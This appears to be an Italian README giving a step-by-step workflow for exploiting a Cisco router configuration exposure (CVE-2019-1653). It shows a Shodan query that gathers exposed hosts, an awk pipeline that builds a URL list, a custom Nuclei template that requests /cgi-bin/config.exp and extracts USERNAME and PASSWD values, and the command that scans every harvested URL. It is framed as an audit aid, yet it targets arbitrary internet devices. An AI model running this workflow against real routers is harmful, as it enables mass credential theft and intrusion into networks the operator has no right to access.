
Modello Nuclei automatizzato e flusso di lavoro Shodan per rilevare e sfruttare l'esposizione della configurazione del router Cisco (CVE-2019-1653) per audit di sicurezza.
Cisco Router Configuration Exposure Vulnerability Descrizione della Vulnerabilità
Questo repository dettaglia il processo di sfruttamento di una vulnerabilità in alcuni router Cisco che permette l'esposizione del file di configurazione config.exp tramite un URL pubblico accessibile. Questo file può contenere informazioni sensibili, incluse credenziali (USERNAME e PASSWD), configurazioni di rete e altri dettagli critici del sistema. Se accessibile senza autenticazione, può compromettere la sicurezza del dispositivo e della rete in cui è implementato.
CVE Correlato
Questa vulnerabilità potrebbe essere correlata a CVE-2003-1567 e CVE-2019-1653, entrambe relative all'esposizione non autorizzata di file di configurazione su dispositivi Cisco, anche se è importante verificare se il dispositivo e il firmware specifico sono interessati da questi CVE. Guida Passo Passo allo Sfruttamento
Questa procedura utilizza Shodan per identificare dispositivi vulnerabili, seguito da Nuclei per scansionare e verificare l'esposizione di configurazioni critiche su router Cisco. Prerequisiti
shodan-cli, awk e httpx per la conversione degli indirizzi IP in URL completi.Passo 1: Cercare Dispositivi Vulnerabili su Shodan
Il primo passo è identificare dispositivi vulnerabili su Shodan tramite una ricerca avanzata. La seguente query Shodan cerca dispositivi che potrebbero essere router Cisco:
shodan download apache_results.json.gz "http.favicon.hash:-299287097 Apache"
Questo comando:
Passo 2: Scaricare i Risultati e Formattare gli URL
Una volta ottenuto il file apache_results.json.gz, il passo successivo è estrarre IP e porta di ciascun dispositivo per formattarli in URL completi, includendo il protocollo (http o https) e la porta.
Comando per elaborare i dati dal file .json
Usa il seguente comando per estrarre IP e porte e formattarli in URL completi in un file chiamato urls.txt:
shodan parse --fields ip_str,port,ssl.version apache_results.json.gz | \
awk '{if ($2 == 443 || $3 ~ /https/) print "https://"$1":"$2; else print "http://"$1":"$2}' > urls.txt
shodan parse: estrae IP e porte da ciascun risultato nel file apache_results.json.gz.awk: formatta l'output in URL completi, usando https se la porta è 443 o se viene rilevato SSL, e http negli altri casi.Il file urls.txt ora contiene URL completi e formattati.
Passo 3: Creare un Template Personalizzato di Nuclei
Per verificare se il file config.exp è accessibile su questi dispositivi, utilizzeremo un template personalizzato di Nuclei. Questo template tenterà di accedere al file ed estrarrà dati sensibili come USERNAME e PASSWD se presenti.
Template di Nuclei (cisco-router-config-exposure.yaml)
id: cisco-router-config-exposure
info:
name: Cisco Router Configuration Exposure
author: elzer
severity: high
description: |
Rileva l'esposizione del file config.exp sui router Cisco che contiene credenziali e configurazioni critiche.
tags:
- cisco
- router
- vulnerability
- cgi-bin
- config.exp
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/config.exp"
matchers-condition: or
matchers:
- type: word
words:
- "Cisco"
- "config"
- "version"
- type: regex
regex:
- "USERNAME=\\w+"
- "PASSWD=[a-f0-9]{32}"
Questo template:
/cgi-bin/config.exp.Cisco, config, version) per confermare l'esposizione.USERNAME e PASSWD se presenti nel file.Salva questo template come cisco-router-config-exposure.yaml nella cartella dei template di Nuclei.
Passo 4: Eseguire Nuclei per Rilevare Dispositivi Vulnerabili
Con il template e il file urls.txt pronti, esegui il seguente comando di Nuclei per scansionare gli URL:
nuclei -t path/to/cisco-router-config-exposure.yaml -l urls.txt -o risultati_nuclei.txt -debug -vv
-t path/to/cisco-router-config-exposure.yaml: indica il template personalizzato che abbiamo creato.-l urls.txt: usa il file urls.txt con gli URL formattati.-o risultati_nuclei.txt: salva i risultati nel file risultati_nuclei.txt.-debug -vv: esegue Nuclei in modalità dettagliata per vedere l'avanzamento e i dettagli di debug.Risultato
Dopo aver eseguito Nuclei, il file risultati_nuclei.txt conterrà un elenco di dispositivi vulnerabili che espongono il file di configurazione config.exp. Ciò include qualsiasi dispositivo che restituisca credenziali o configurazioni sensibili, confermando l'esposizione della vulnerabilità.
Conclusione
Questo processo ti permette di identificare e confermare l'esposizione di file di configurazione critici su dispositivi Cisco utilizzando Shodan e Nuclei. L'automazione di questo flusso è particolarmente utile per auditor di sicurezza e professionisti della cybersecurity interessati a identificare e correggere configurazioni insicure nelle reti aziendali.